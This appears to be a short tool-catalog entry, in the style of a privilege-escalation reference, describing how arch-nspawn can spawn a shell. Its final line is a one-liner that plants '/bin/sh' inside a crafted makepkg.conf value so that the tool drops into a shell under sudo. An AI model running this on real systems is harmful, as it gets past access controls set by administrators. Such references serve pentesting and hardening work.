Spawn a shell in an Arch Linux chroot container, can be used for privilege escalation via sudo.
arch-nspawn {args} 📎 args arch-nspawn {args} Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
args | string | No | - | Arguments to arch-nspawn | - |
Inputs
security.execution.context Sudo or unprivileged execution context
Outputs
process.output Shell output
process_spawn Produces
process.outputConsumes
security.execution.context| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Spawn an interactive shell via arch-nspawn
mkdir -p ./etc/ && grep -oP "^CHROOT_VERSION='\K[^']+" /usr/share/devtools/lib/archroot.sh >.arch-chroot && touch ./etc/pacman.conf && echo 'CARCH=true;/bin/sh;exit' >etc/makepkg.conf && arch-nspawn .